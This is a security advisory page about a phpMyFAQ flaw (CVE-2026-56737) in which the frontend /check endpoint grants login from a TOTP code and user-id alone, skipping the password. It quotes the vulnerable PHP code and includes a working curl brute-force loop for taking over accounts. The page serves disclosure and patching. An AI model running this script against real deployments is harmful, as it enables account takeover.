Wysoka

phpMyFAQ's two-factor authentication login bypasses the password factor

  • Ujawniono: 24.09.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.

Details

src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:

php
#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token  = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);

    if ($userId <= 0) { /* ... */ }

    $this->currentUserService->getUserById($userId);          // loads attacker-chosen user

    if (strlen((string) $token) === 6) {
        $result = $this->twoFactor->validateToken($token, $userId);
        if ($result) {
            $this->currentUserService->twoFactorSuccess();    // full login, no password ever checked
            return new RedirectResponse(url: './');
        }
    }
    // ...
}

twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):

php
public function twoFactorSuccess(): bool
{
    $this->setLoggedIn(true);
    $this->updateSessionId(true);
    $this->saveToSession();
    $this->setSuccess(true);
    return true;
}

There is no server-side state (such as a "password already verified for this user" flag) tying the /check step to the password step. Compare the admin flow, which does it correctly via a 2fa_pending_user_id session value set only after the password is validated (src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend omission is a regression, not an intended design.

validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret, so this is not a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account:

php
public function validateToken(string $token, int $userId): bool
{
    if (strlen($token) !== 6 || $userId <= 0) { return false; }
    $this->currentUser->getUserById($userId);
    $secret = $this->currentUser->getUserData('secret');
    if (!is_string($secret) || $secret === '') { return false; }   // no 2FA -> false
    return $this->twoFactorAuth->verifyCode($secret, $token);       // 6-digit TOTP only
}

Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to strengthen the password, becomes the only barrier and is independently guessable.

PoC

Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs).

bash
# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
  curl -ks -c jar.txt -b jar.txt \
    -X POST "https://target/check" \
    --data-urlencode "user-id=1" \
    --data-urlencode "token=$(printf '%06d' 10#$code)" \
    -o /dev/null -w "%{http_code} %{redirect_url}\n" \
  | grep -q './'   && echo "[+] logged in with token $code" && break
done
# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).

If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.

Impact

Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer phpmyfaq/phpmyfaq >= 3.2.0, < 4.1.6 4.1.6
Paczka Composer thorsten/phpmyfaq >= 3.2.0, < 4.1.6 4.1.6

Odnośniki

Ocena CVSS 8.1/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-287
Platforma
Composer
Paczka
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Ujawniono
24.09.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-8gpw-xvpf-hvx5 - CC BY 4.0

Historia podatności: thorsten/phpmyfaq

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (112) w archiwum
Wszystkich wpisów
112
Pierwsza → ostatnia
05.2022 09.2026
Bez poprawki
2
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 8
  • Wysoka 36
  • Średnia 67
  • Niska 1

Ujawnienia w latach

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Istotność:
  1. phpMyFAQ's two-factor authentication login bypasses the password factor ten wpis
    Wysoka · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Wysoka · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Wysoka · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. Wysoka · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. Wysoka · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  6. Wysoka · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  7. Wysoka · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  8. Wysoka · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  9. Wysoka · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  10. Krytyczna · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  11. Krytyczna · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  12. Wysoka · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  13. Wysoka · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  14. Wysoka · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  15. Wysoka · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  16. Krytyczna · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  17. Krytyczna · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  18. Wysoka · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  19. Wysoka · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
  20. Krytyczna · 9.8 CVE-2023-0311 < 3.1.10 3.1.10
  21. Wysoka · 7.5 CVE-2022-4409 < 3.1.9 3.1.9
  22. Krytyczna · 9.8 CVE-2022-3754 < 3.1.8 3.1.8
  23. Wysoka · 8.4 CVE-2022-3608 < 3.2.0-alpha 3.2.0-alpha
  24. Wysoka · 8.8 CVE-2018-16650 < 2.9.11 2.9.11

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.